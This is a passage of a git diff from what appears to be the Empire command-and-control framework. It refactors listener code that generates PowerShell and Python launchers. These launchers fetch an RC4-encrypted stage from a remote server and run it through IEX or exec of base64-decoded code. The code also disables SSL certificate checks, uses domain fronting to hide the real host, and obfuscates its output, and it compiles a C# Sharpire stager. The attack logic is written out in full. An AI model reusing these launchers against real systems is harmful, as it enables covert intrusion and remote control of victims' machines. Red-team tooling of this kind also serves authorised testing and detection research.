+ str(port) + + # code to turn the key string into a byte array + stager += f"$K=[System.Text.Encoding]::ASCII.GetBytes('{ stagingKey }');" + + # this is the minimized RC4 stager code from rc4.ps1 + stager += listener_util.powershell_rc4() + + # prebuild the request routing packet for the launcher + routingPacket = packets.build_routing_packet( + stagingKey, + sessionID="00000000", + language="POWERSHELL", + meta="STAGE0", + additional="None", + encData="", + ) + b64RoutingPacket = base64.b64encode(routingPacket).decode("utf-8") - # code to turn the key string into a byte array - stager += ( - f"$K=[System.Text.Encoding]::ASCII.GetBytes('{ stagingKey }');" - ) + # stager += "$ser="+helpers.obfuscate_call_home_address(host)+";$t='"+stage0+"';" + stager += f"$ser={helpers.obfuscate_call_home_address(host)};$t='{stage0}';$hop='{listenerName}';" - # this is the minimized RC4 stager code from rc4.ps1 - stager += listener_util.powershell_rc4() - - # prebuild the request routing packet for the launcher - routingPacket = packets.build_routing_packet( - stagingKey, - sessionID="00000000", - language="POWERSHELL", - meta="STAGE0", - additional="None", - encData="", - ) - b64RoutingPacket = base64.b64encode(routingPacket).decode("utf-8") + # Add custom headers if any + if customHeaders != []: + for header in customHeaders: + headerKey = header.split(":")[0] + headerValue = header.split(":")[1] + # If host header defined, assume domain fronting is in use and add a call to the base URL first + # this is a trick to keep the true host name from showing in the TLS SNI portion of the client hello + if headerKey.lower() == "host": + stager += "try{$ig=$wc.DownloadData($ser)}catch{};" - # stager += "$ser="+helpers.obfuscate_call_home_address(host)+";$t='"+stage0+"';" - stager += f"$ser={helpers.obfuscate_call_home_address(host)};$t='{stage0}';$hop='{listenerName}';" + stager += f'$wc.Headers.Add("{headerKey}","{headerValue}");' - # Add custom headers if any - if customHeaders != []: - for header in customHeaders: - headerKey = header.split(":")[0] - headerValue = header.split(":")[1] - # If host header defined, assume domain fronting is in use and add a call to the base URL first - # this is a trick to keep the true host name from showing in the TLS SNI portion of the client hello - if headerKey.lower() == "host": - stager += "try{$ig=$wc.DownloadData($ser)}catch{};" + # add the RC4 packet to a cookie - stager += f'$wc.Headers.Add("{headerKey}","{headerValue}");' + stager += f'$wc.Headers.Add("Cookie","session={b64RoutingPacket}");' + stager += "$data=$wc.DownloadData($ser+$t);" + stager += "$iv=$data[0..3];$data=$data[4..$data.length];" - # add the RC4 packet to a cookie + # decode everything and kick it over to IEX to kick off execution + stager += "-join[Char[]](& $R $data ($IV+$K))|IEX" - stager += f'$wc.Headers.Add("Cookie","session={b64RoutingPacket}");' - stager += "$data=$wc.DownloadData($ser+$t);" - stager += "$iv=$data[0..3];$data=$data[4..$data.length];" + # Remove comments and make one line + stager = helpers.strip_powershell_comments(stager) + stager = data_util.ps_convert_to_oneliner(stager) - # decode everything and kick it over to IEX to kick off execution - stager += "-join[Char[]](& $R $data ($IV+$K))|IEX" + if obfuscate: + stager = self.mainMenu.obfuscationv2.obfuscate( + stager, + obfuscation_command=obfuscation_command, + ) + stager = self.mainMenu.obfuscationv2.obfuscate_keywords(stager) - # Remove comments and make one line - stager = helpers.strip_powershell_comments(stager) - stager = data_util.ps_convert_to_oneliner(stager) + # base64 encode the stager and return it + if encode and ( + (not obfuscate) or ("launcher" not in obfuscation_command.lower()) + ): + return helpers.powershell_launcher(stager, launcher) + else: + # otherwise return the case-randomized stager + return stager - if obfuscate: - stager = self.mainMenu.obfuscationv2.obfuscate( - stager, - obfuscation_command=obfuscation_command, - ) - stager = self.mainMenu.obfuscationv2.obfuscate_keywords(stager) + if language.startswith("py"): + # Python - # base64 encode the stager and return it - if encode and ( - (not obfuscate) or ("launcher" not in obfuscation_command.lower()) - ): - return helpers.powershell_launcher(stager, launcher) - else: - # otherwise return the case-randomized stager - return stager - - if language.startswith("py"): - # Python - - launcherBase = "import sys;" - if "https" in host: - # monkey patch ssl woohooo - launcherBase += "import ssl;\nif hasattr(ssl, '_create_unverified_context'):ssl._create_default_https_context = ssl._create_unverified_context;\n" - - try: - if safeChecks.lower() == "true": - launcherBase += listener_util.python_safe_checks() - except Exception as e: - p = f"{listenerName}: Error setting LittleSnitch in stager: {str(e)}" - log.error(p, exc_info=True) - - if userAgent.lower() == "default": - profile = listenerOptions["DefaultProfile"]["Value"] - userAgent = profile.split("|")[1] - - launcherBase += "import urllib.request;\n" - launcherBase += "UA='%s';" % (userAgent) - launcherBase += f"server='{host}';t='{stage0}';" - - # prebuild the request routing packet for the launcher - routingPacket = packets.build_routing_packet( - stagingKey, - sessionID="00000000", - language="PYTHON", - meta="STAGE0", - additional="None", - encData="", - ) - b64RoutingPacket = base64.b64encode(routingPacket).decode("utf-8") + launcherBase = "import sys;" + if "https" in host: + # monkey patch ssl woohooo + launcherBase += "import ssl;\nif hasattr(ssl, '_create_unverified_context'):ssl._create_default_https_context = ssl._create_unverified_context;\n" - launcherBase += "req=urllib.request.Request(server+t);\n" - # add the RC4 packet to a cookie - launcherBase += "req.add_header('User-Agent',UA);\n" - launcherBase += "req.add_header('Cookie',\"session=%s\");\n" % ( - b64RoutingPacket - ) + try: + if safeChecks.lower() == "true": + launcherBase += listener_util.python_safe_checks() + except Exception as e: + p = f"{listenerName}: Error setting LittleSnitch in stager: {str(e)}" + log.error(p, exc_info=True) + + if userAgent.lower() == "default": + profile = listenerOptions["DefaultProfile"]["Value"] + userAgent = profile.split("|")[1] + + launcherBase += "import urllib.request;\n" + launcherBase += "UA='%s';" % (userAgent) + launcherBase += f"server='{host}';t='{stage0}';" + + # prebuild the request routing packet for the launcher + routingPacket = packets.build_routing_packet( + stagingKey, + sessionID="00000000", + language="PYTHON", + meta="STAGE0", + additional="None", + encData="", + ) + b64RoutingPacket = base64.b64encode(routingPacket).decode("utf-8") - # Add custom headers if any - if customHeaders != []: - for header in customHeaders: - headerKey = header.split(":")[0] - headerValue = header.split(":")[1] - # launcherBase += ",\"%s\":\"%s\"" % (headerKey, headerValue) - launcherBase += 'req.add_header("{}","{}");\n'.format( - headerKey, - headerValue, - ) + launcherBase += "req=urllib.request.Request(server+t);\n" + # add the RC4 packet to a cookie + launcherBase += "req.add_header('User-Agent',UA);\n" + launcherBase += "req.add_header('Cookie',\"session=%s\");\n" % ( + b64RoutingPacket + ) - if proxy.lower() != "none": - if proxy.lower() == "default": - launcherBase += "proxy = urllib.request.ProxyHandler();\n" + # Add custom headers if any + if customHeaders != []: + for header in customHeaders: + headerKey = header.split(":")[0] + headerValue = header.split(":")[1] + # launcherBase += ",\"%s\":\"%s\"" % (headerKey, headerValue) + launcherBase += f'req.add_header("{headerKey}","{headerValue}");\n' + + if proxy.lower() != "none": + if proxy.lower() == "default": + launcherBase += "proxy = urllib.request.ProxyHandler();\n" + else: + proto = proxy.Split(":")[0] + launcherBase += ( + "proxy = urllib.request.ProxyHandler({'" + + proto + + "':'" + + proxy + + "'});\n" + ) + + if proxyCreds != "none": + if proxyCreds == "default": + launcherBase += "o = urllib.request.build_opener(proxy);\n" else: - proto = proxy.Split(":")[0] + launcherBase += "proxy_auth_handler = urllib.request.ProxyBasicAuthHandler();\n" + username = proxyCreds.split(":")[0] + password = proxyCreds.split(":")[1] launcherBase += ( - "proxy = urllib.request.ProxyHandler({'" - + proto - + "':'" + "proxy_auth_handler.add_password(None,'" + proxy - + "'});\n" + + "','" + + username + + "','" + + password + + "');\n" ) - - if proxyCreds != "none": - if proxyCreds == "default": - launcherBase += "o = urllib.request.build_opener(proxy);\n" - else: - launcherBase += "proxy_auth_handler = urllib.request.ProxyBasicAuthHandler();\n" - username = proxyCreds.split(":")[0] - password = proxyCreds.split(":")[1] - launcherBase += ( - "proxy_auth_handler.add_password(None,'" - + proxy - + "','" - + username - + "','" - + password - + "');\n" - ) - launcherBase += "o = urllib.request.build_opener(proxy, proxy_auth_handler);\n" - else: - launcherBase += "o = urllib.request.build_opener(proxy);\n" + launcherBase += "o = urllib.request.build_opener(proxy, proxy_auth_handler);\n" else: - launcherBase += "o = urllib.request.build_opener();\n" + launcherBase += "o = urllib.request.build_opener(proxy);\n" + else: + launcherBase += "o = urllib.request.build_opener();\n" - # install proxy and creds globally, so they can be used with urlopen. - launcherBase += "urllib.request.install_opener(o);\n" - launcherBase += "a=urllib.request.urlopen(req).read();\n" + # install proxy and creds globally, so they can be used with urlopen. + launcherBase += "urllib.request.install_opener(o);\n" + launcherBase += "a=urllib.request.urlopen(req).read();\n" - # download the stager and extract the IV - launcherBase += listener_util.python_extract_stager(stagingKey) + # download the stager and extract the IV + launcherBase += listener_util.python_extract_stager(stagingKey) - if obfuscate: - launcherBase = self.mainMenu.obfuscationv2.python_obfuscate( - launcherBase - ) - launcherBase = self.mainMenu.obfuscationv2.obfuscate_keywords( - launcherBase - ) + if obfuscate: + launcherBase = self.mainMenu.obfuscationv2.python_obfuscate( + launcherBase + ) + launcherBase = self.mainMenu.obfuscationv2.obfuscate_keywords( + launcherBase + ) - if encode: - launchEncoded = base64.b64encode( - launcherBase.encode("UTF-8") - ).decode("UTF-8") - launcher = ( - "echo \"import sys,base64,warnings;warnings.filterwarnings('ignore');exec(base64.b64decode('%s'));\" | python3 &" - % launchEncoded - ) - return launcher - else: - return launcherBase - - if language.startswith("csh"): - workingHours = listenerOptions["WorkingHours"]["Value"] - killDate = listenerOptions["KillDate"]["Value"] - customHeaders = profile.split("|")[2:] - delay = listenerOptions["DefaultDelay"]["Value"] - jitter = listenerOptions["DefaultJitter"]["Value"] - lostLimit = listenerOptions["DefaultLostLimit"]["Value"] - - with open( - self.mainMenu.installPath + "/stagers/Sharpire.yaml", "rb" - ) as f: - stager_yaml = f.read() - stager_yaml = stager_yaml.decode("UTF-8") - stager_yaml = ( - stager_yaml.replace("{{ REPLACE_ADDRESS }}", host) - .replace("{{ REPLACE_SESSIONKEY }}", stagingKey) - .replace("{{ REPLACE_PROFILE }}", profile) - .replace("{{ REPLACE_WORKINGHOURS }}", workingHours) - .replace("{{ REPLACE_KILLDATE }}", killDate) - .replace("{{ REPLACE_DELAY }}", str(delay)) - .replace("{{ REPLACE_JITTER }}", str(jitter)) - .replace("{{ REPLACE_LOSTLIMIT }}", str(lostLimit)) + if encode: + launchEncoded = base64.b64encode(launcherBase.encode("UTF-8")).decode( + "UTF-8" ) + launcher = ( + "echo \"import sys,base64,warnings;warnings.filterwarnings('ignore');exec(base64.b64decode('%s'));\" | python3 &" + % launchEncoded + ) + return launcher + else: + return launcherBase - compiler = self.mainMenu.pluginsv2.get_by_id("csharpserver") - if not compiler.status == "ON": - self.instance_log.error( - f"{listenerName} csharpserver plugin not running" - ) - else: - file_name = compiler.do_send_stager( - stager_yaml, "Sharpire", confuse=obfuscate - ) - return file_name + if language.startswith("csh"): + workingHours = listenerOptions["WorkingHours"]["Value"] + killDate = listenerOptions["KillDate"]["Value"] + customHeaders = profile.split("|")[2:] + delay = listenerOptions["DefaultDelay"]["Value"] + jitter = listenerOptions["DefaultJitter"]["Value"] + lostLimit = listenerOptions["DefaultLostLimit"]["Value"] + + with open(self.mainMenu.installPath + "/stagers/Sharpire.yaml", "rb") as f: + stager_yaml = f.read() + stager_yaml = stager_yaml.decode("UTF-8") + stager_yaml = ( + stager_yaml.replace("{{ REPLACE_ADDRESS }}", host) + .replace("{{ REPLACE_SESSIONKEY }}", stagingKey) + .replace("{{ REPLACE_PROFILE }}", profile) + .replace("{{ REPLACE_WORKINGHOURS }}", workingHours) + .replace("{{ REPLACE_KILLDATE }}", killDate) + .replace("{{ REPLACE_DELAY }}", str(delay)) + .replace("{{ REPLACE_JITTER }}", str(jitter)) + .replace("{{ REPLACE_LOSTLIMIT }}", str(lostLimit)) + ) + compiler = self.mainMenu.pluginsv2.get_by_id("csharpserver") + if not compiler.status == "ON": + self.instance_log.error( + f"{listenerName} csharpserver plugin not running" + ) else: - log.error( - "listeners/template generate_launcher(): invalid language specification: only 'powershell' and 'python' are current supported for this module." + file_name = compiler.do_send_stager( + stager_yaml, "Sharpire", confuse=obfuscate ) + return file_name + + else: + log.error( + "listeners/template generate_launcher(): invalid language specification: only 'powershell' and 'python' are current supported for this module." + ) def generate_stager( self, diff --git a/empire/server/listeners/template.py b/empire/server/listeners/template.py index cb49d4a77..5c12f7149 100644 --- a/empire/server/listeners/template.py +++ b/empire/server/listeners/template.py @@ -192,37 +192,31 @@ def generate_launcher( ) return None - # Previously, we had to do a lookup for the listener and check through threads on the instance. - # Beginning in 5.0, each instance is unique, so using self should work. This code could probably be simplified - # further, but for now keeping as is since 5.0 has enough rewrites as it is. - if ( - True - ): # The true check is just here to keep the indentation consistent with the old code. - active_listener = self - # extract the set options for this instantiated listener - listenerOptions = active_listener.options - - host = listenerOptions["Host"]["Value"] - _stagingKey = listenerOptions["StagingKey"]["Value"] - profile = listenerOptions["DefaultProfile"]["Value"] - uris = [a.strip("/") for a in profile.split("|")[0].split(",")] - stage0 = random.choice(uris) - _launchURI = f"{host}/{stage0}" - - if language.startswith("po"): - # PowerShell - return "" - - if language.startswith("py"): - # Python - return "" + active_listener = self + # extract the set options for this instantiated listener + listenerOptions = active_listener.options - else: - print( - helpers.color( - "[!] listeners/template generate_launcher(): invalid language specification: only 'powershell' and 'python' are current supported for this module." - ) + host = listenerOptions["Host"]["Value"] + _stagingKey = listenerOptions["StagingKey"]["Value"] + profile = listenerOptions["DefaultProfile"]["Value"] + uris = [a.strip("/") for a in profile.split("|")[0].split(",")] + stage0 = random.choice(uris) + _launchURI = f"{host}/{stage0}" + + if language.startswith("po"): + # PowerShell + return "" + + if language.startswith("py"): + # Python + return "" + + else: + print( + helpers.color( + "[!] listeners/template generate_launcher(): invalid language specification: only 'powershell' and 'python' are current supported for this module." ) + ) def generate_stager( self,